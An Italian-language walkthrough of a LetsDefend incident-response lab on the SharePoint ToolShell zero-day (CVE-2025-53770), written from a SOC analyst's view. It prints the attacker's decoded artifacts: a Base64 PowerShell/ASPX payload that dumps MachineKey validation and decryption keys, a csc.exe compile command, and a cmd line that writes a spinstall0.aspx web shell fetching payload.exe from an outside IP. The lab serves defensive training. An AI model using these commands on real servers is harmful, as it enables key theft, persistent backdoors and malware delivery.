
Procedura passo-passo per lo sfruttamento di CVE-2025-53770 (ToolShell) in un laboratorio LetsDefend, che copre RCE, distribuzione di web shell e analisi della risposta agli incidenti.
TL;DR Ehi, in questo lab di LetsDefend mi sono immerso in una zero-day di SharePoint chiamata ToolShell (CVE-2025-53770). In pratica, ho replicato un attacco reale in cui una richiesta POST maliziosa bypassava l'autenticazione, eseguiva PowerShell per rubare le chiavi di MachineKeySection, compilava payload.exe e rilasciava una web shell (spinstall0.aspx). Ho registrato tutto, analizzato il comportamento e contenuto l'host. Questo README copre l'attacco, i miei passaggi e le lezioni apprese.
Panoramica del lab
Strumenti usati:
Windows PowerShell
VirusTotal
AbuseIPDB
LetsDefend Log Management
LetsDefend Enpoint Security
LetsDefend Threat Intel


EventID : 320
Ora evento : 22 lug 2025, 01:07 PM
Regola : SOC342 - CVE‑2025‑53770 SharePoint ToolShell Bypass dell'autenticazione e RCE
Livello : Analista della sicurezza
Nome host : SharePoint01
Indirizzo IP sorgente : 107.191.58.76
Indirizzo IP di destinazione : 172.16.20.17
Metodo di richiesta HTTP : POST
URL richiesto : /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Referer : /_layouts/SignOut.aspx
Content-Length : 7699
Motivo dell'attivazione dell'alert : Richiesta POST non autenticata sospetta verso ToolPane.aspx con payload di grandi dimensioni e referer falsificato, indicativi dello sfruttamento di CVE-2025-53770.
Azione del dispositivo : Consentita
Panoramica Il 22 luglio 2025, il nostro monitoraggio della sicurezza ha segnalato un attacco zero-day critico mirato a un'istanza di SharePoint Server on-premises chiamata SharePoint01.
Dettagli CVE:
Catalogo CISA KEV: voce pubblicata il 20 luglio 2025
Vettore di attacco: richiesta POST all'endpoint /ToolPane.aspx, header referer falsificato, payload malintenzionato di grandi dimensioni
Sorgente: IP 107.191.58.76, Vultr Holdings, LLC, USA
Informazioni su SharePoint Microsoft SharePoint è la spina dorsale della collaborazione aziendale e della gestione documentale. In sostanza, è uno spazio sicuro e organizzato, simile a un cloud, per file, flussi di lavoro e app interne.
Usi principali:
Gestione documentale: versionamento, trail di audit, controllo dei file
Collaborazione: più utenti che modificano lo stesso documento contemporaneamente
Portali web interni: notizie, aggiornamenti, informazioni HR, policy
Flussi di lavoro automatizzati: approvazioni, moduli, notifiche
Integrazione: strettamente legato a Teams, Outlook, Suite Office, Power BI
Considerazioni sulla sicurezza:
Autenticazione: AD o SSO
Crittografia: dati a riposo e in transito
Web Part e layout: possono essere sfruttati se mal configurati
Gestione delle patch: fondamentale per prevenire attacchi zero-day
CVE-2025-53770, chiamata anche ToolShell, è una zero-day di SharePoint sfruttata in natura. È una vulnerabilità critica di deserializzazione nei server Microsoft SharePoint on-premises che consente l'esecuzione remota di codice (RCE) non autenticata. Si combina con altre falle di SharePoint (CVE-2025-49704 e CVE-2025-49706) per compromettere completamente i sistemi. Ha un punteggio CVSS di 9.8, il che significa che è critica.
Caricano web shell malintenzionate come spinstall0.aspx tramite l'endpoint ToolPane.aspx, usando header referrer falsificati per bypassare l'autenticazione.
Estraggono i valori critici di MachineKey dalla configurazione di SharePoint per generare payload ViewState attendibili per un accesso persistente.
e successivamente distribuiscono ransomware (ad esempio, il ceppo "Warlock") o esfiltrano credenziali e installano backdoor.
Prima divulgazione pubblica: 19 luglio 2025 (blog Microsoft)
Patch rilasciate: 20–21 luglio 2025
Inserita nel catalogo KEV di CISA: 20 luglio 2025
Ho analizzato l'indirizzo IP del mittente (indirizzo IP sorgente) su VirusTotal
Indirizzo IP sorgente : 107.191.58.76

Da questo so già che l'IP è malintenzionato
Ora devo cercare la provenienza dell'IP con l'aiuto di AbuseIPDB

Questo è quello che ho ottenuto :
ISP Vultr Holdings, LLC
Tipo di utilizzo - Data Center/Web Hosting/Transit
ASN - AS20473
Hostname(s) - 107.191.58.76.vultrusercontent.com
Nome di dominio - vultr.com
Paese - Stati Uniti d'America
Città - Los Angeles, California
IP noto per hacking, brute-force, attacchi a applicazioni web, port scan, avvelenamento DNS
Come analista junior, per risolvere questo caso ecco come ho proceduto prima ho cercato l'host nella sicurezza degli endpoint con il nome "SharePoint01".

dopo aver localizzato l'host, sono andato nella cronologia del terminale e ho trovato una riga di comando

Cosa succede nel comando?
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
→ Lancia PowerShell direttamente dalla directory di sistema.
-nop
→ Nessun profilo — ignora gli script di profilo di PowerShell per evitare rilevamento o interferenze.
-w hidden
→ Viene eseguito con una finestra nascosta, quindi l'utente non lo vede.
-e <BASE64>
decodifichiamo questo
"PCVAIEltcG9ydCBOYW1lc3BhY2U9IlN5c3RlbS5EaWFnbm9zdGljcyIgJT4NCjwlQCBJbXBvcnQgTmFtZXNwYWNlPSJTeXN0ZW0uSU8iICU+DQo8c2NyaXB0IHJ1bmF0PSJzZXJ2ZXIiIGxhbmd1YWdlPSJjIyIgQ09ERVBBR0U9IjY1MDAxIj4NCiAgICBwdWJsaWMgdm9pZCBQYWdlX2xvYWQoKQ0KICAgIHsNCgkJdmFyIHN5ID0gU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHkuTG9hZCgiU3lzdGVtLldlYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EiKTsNCiAgICAgICAgdmFyIG1rdCA9IHN5LkdldFR5cGUoIlN5c3RlbS5XZWIuQ29uZmlndXJhdGlvbi5NYWNoaW5lS2V5U2VjdGlvbiIpOw0KICAgICAgICB2YXIgZ2FjID0gbWt0LkdldE1ldGhvZCgiR2V0QXBwbGljYXRpb25Db25maWciLCBTeXN0ZW0uUmVmbGVjdGlvbi5CaW5kaW5nRmxhZ3MuU3RhdGljIHwgU3lzdGVtLlJlZmxlY3Rpb24uQmluZGluZ0ZsYWdzLk5vblB1YmxpYyk7DQogICAgICAgIHZhciBjZyA9IChTeXN0ZW0uV2ViLkNvbmZpZ3VyYXRpb24uTWFjaGluZUtleVNlY3Rpb24pZ2FjLkludm9rZShudWxsLCBuZXcgb2JqZWN0WzBdKTsNCiAgICAgICAgUmVzcG9uc2UuV3JpdGUoY2cuVmFsaWRhdGlvbktleSsifCIrY2cuVmFsaWRhdGlvbisifCIrY2cuRGVjcnlwdGlvbktleSsifCIrY2cuRGVjcnlwdGlvbisifCIrY2cuQ29tcGF0aWJpbGl0eU1vZGUpOw0KICAgIH0NCjwvc2NyaXB0Pg=="
Passaggio 1: Ricognizione e cattura del payload
Richiesta POST catturata verso /ToolPane.aspx:
POST /_layouts/15/ToolPane.aspx HTTP/1.1 Host: sharepoint01.lab Content-Type: application/x-www-form-urlencoded Content-Length: 1452 Referer: http://sharepoint01.lab/_layouts/15/settings.aspx User-Agent: Mozilla/5.0 Payload=BASE64_ENCODED_POWERSHELL_PAYLOAD_HERE
Metodo: richiesta POST verso /ToolPane.aspx che bypassa l'autenticazione
Payload: script PowerShell grande, offuscato e codificato in Base64
Header Referer: falsificato per nascondere l'origine
Passaggio 2: Esecuzione e sfruttamento:
Ho proceduto a decodificare lo script/payload in un decodificatore Base64
decodificato con base64 e ho ottenuto questo
"<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script runat="server" language="c#" CODEPAGE="65001">
public void Page\_load()
{
var sy = System.Reflection.Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
var mkt = sy.GetType("System.Web.Configuration.MachineKeySection");
var gac = mkt.GetMethod("GetApplicationConfig", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic);
var cg = (System.Web.Configuration.MachineKeySection)gac.Invoke(null, new object\[0]);
Response.Write(cg.ValidationKey+"|"+cg.Validation+"|"+cg.DecryptionKey+"|"+cg.Decryption+"|"+cg.CompatibilityMode);
}

Lasciami spiegare cosa fa lo script qui sopra
Importa:
-System.Diagnostics
-System.IO
⦁ e poi esegue uno script C# inline dentro PowerShell che:
-Carica gli assembly System.Web
-Accede a System.Web.Configuration.MachineKeySection
-Recupera le chiavi di validazione e decrittazione dal web.config della macchina
-le scrive nella risposta, probabilmente esfiltrandole verso un attaccante
l'attaccante ha continuato inviando successivamente questo comando
""C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /out:C:\Windows\Temp\payload.exe C:\Windows\Temp\payload.cs"
-csc.exe - un compilatore C# con framework .NET
-poi dice al compilatore di salvare questo "payload.exe" sull'host
questo payload potrebbe essere un malware
Comando successivo inviato dall'attaccante
""C:\Windows\System32\cmd.exe" /c echo <form runat=\"server\"> <object classid=\"clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11\"><param name=\"Command\" value=\"Redirect\"> <param name=\"Button\" value=\"Test\"> <param name=\"Url\" value=\"http://107.191.58.76/payload.exe\"></object></form> > C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx"
Cosa fa
"C:\Windows\System32\cmd.exe" /c -
Esegue il seguente comando nel Prompt dei comandi e poi termina.
echo <form runat=\"server\"> ... </form>-
Scrive un piccolo frammento di markup ASP.NET che verrà eseguito sul server SharePoint.
Il markup contiene:
<object classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11"> -
Questo CLSID è il controllo ActiveX Shell (usato per eseguire comandi shell o azioni speciali nel contesto IE/COM).
<param name="Command" value="Redirect"> -
Questo dice all'oggetto quale azione eseguire.
<param name="Url" value="http://107.191.58.76/payload.exe"> -
Punta a un EXE malintenzionato ospitato su un server remoto — molto probabilmente il loro vero malware.
Comando successivo inviato dall'attaccante
""C:\Windows\System32\cmd.exe" /c echo <form runat=\"server\"> <object classid=\"clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11\"><param name=\"Command\" value=\"Redirect\"> <param name=\"Button\" value=\"Test\"> <param name=\"Url\" value=\"http://107.191.58.76/payload.exe\"></object></form> > C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx"
Ancora, cosa fa :
"C:\Windows\System32\cmd.exe" /c -
Esegue il seguente comando nel Prompt dei comandi e poi termina.
echo <form runat=\"server\"> ... </form> -
Scrive un piccolo frammento di markup ASP.NET che verrà eseguito sul server SharePoint.
E anche
Il markup contiene:
<object classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11">
This CLSID is the Shell ActiveX control (used to run shell commands or do special actions in IE/COM context).
<param name="Command" value="Redirect">-
Questo dice all'oggetto quale azione eseguire.
<param name="Url" value="http://107.191.58.76/payload.exe"> -
Punta a un EXE malintenzionato ospitato su un server remoto — molto probabilmente il loro vero malware.
> C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\16\\TEMPLATE\\LAYOUTS\\spinstall0.aspx -
Salva l'intero oggetto HTML/ASP.NET malintenzionato come spinstall0.aspx nella cartella layouts di SharePoint.
Qualsiasi cosa in questa cartella può essere acceduta navigando all'URL giusto sul sito SharePoint, il che significa che l'attaccante ora ha una pagina web sul tuo server che attiva l'azione malintenzionata.
Le righe di comando che ho trovato sono qui sotto:


Dopo aver confermato che era rischioso, ho continuato a esplorare i processi sull'host.
sembra sospetto, brulica di percorsi di file ed exe
solo per curiosità, sono andato nella gestione dei log e ho cercato l'IP malintenzionato nei log.
ho visto un log grezzo con una richiesta POST
con un referer - /_layouts/SignOut.aspx
Ho continuato per verificare se l'attacco avesse avuto successo.
Sai che c'è? Lo era, quindi ora devo contenerlo per il SOC2.
Questa è la mia nota da analista:
Abbiamo individuato un attacco critico che sfrutta una vulnerabilità zero-day chiamata ToolShell (CVE-2025-53770) su un server SharePoint on-premises chiamato SharePoint01. L'attaccante, da un IP malintenzionato noto (107.191.58.76), ha inviato una richiesta POST non autenticata con un payload enorme a un endpoint di SharePoint (ToolPane.aspx), bypassando l'autenticazione per eseguire codice remoto sul server.
Scavando più a fondo, l'attaccante ha eseguito comandi PowerShell nascosti che decodificavano script base64 per rubare i valori sensibili di MachineKey di SharePoint, consentendogli di creare payload attendibili. Ha compilato un eseguibile malintenzionato sull'host, poi ha piazzato una web shell (spinstall0.aspx) nella cartella layouts di SharePoint che scarica ed esegue malware dal proprio server, garantendo un accesso backdoor persistente.
Dopo aver confermato la compromissione, abbiamo contenuto l'host interessato e raccomandato un patching immediato, dato che le correzioni erano state rilasciate solo pochi giorni prima. Stiamo anche cercando altre web shell, monitorando la presenza di ransomware o furto di dati, e consigliando una sicurezza più rigorosa attorno ai server SharePoint per prevenire ulteriori danni.
E la nota al team:
Nota per il team: Ehi team, abbiamo rilevato uno sfruttamento critico della zero-day ToolShell (CVE-2025-53770) sul nostro server SharePoint (SharePoint01). Un attaccante ha utilizzato una richiesta POST non autenticata per bypassare l'autenticazione ed eseguire codice remoto, iniziando con un grande payload sospetto mirato a ToolPane.aspx.
L'attaccante ha eseguito comandi PowerShell nascosti per rubare le chiavi macchina sensibili di SharePoint, poi ha compilato e rilasciato un eseguibile malintenzionato sul sistema. Ha anche creato una web shell (spinstall0.aspx) nella cartella layouts di SharePoint, che scarica ed esegue malware da un server esterno, potenzialmente dandogli il controllo persistente.
Abbiamo contenuto l'host compromesso e raccomandiamo un patching urgente, dato che le correzioni sono state appena rilasciate. Stiamo anche cercando web shell simili e monitorando segni di ransomware o esfiltrazione di dati. Restiamo vigili e rafforziamo la sicurezza di SharePoint in futuro.
Questo è il mio risultato
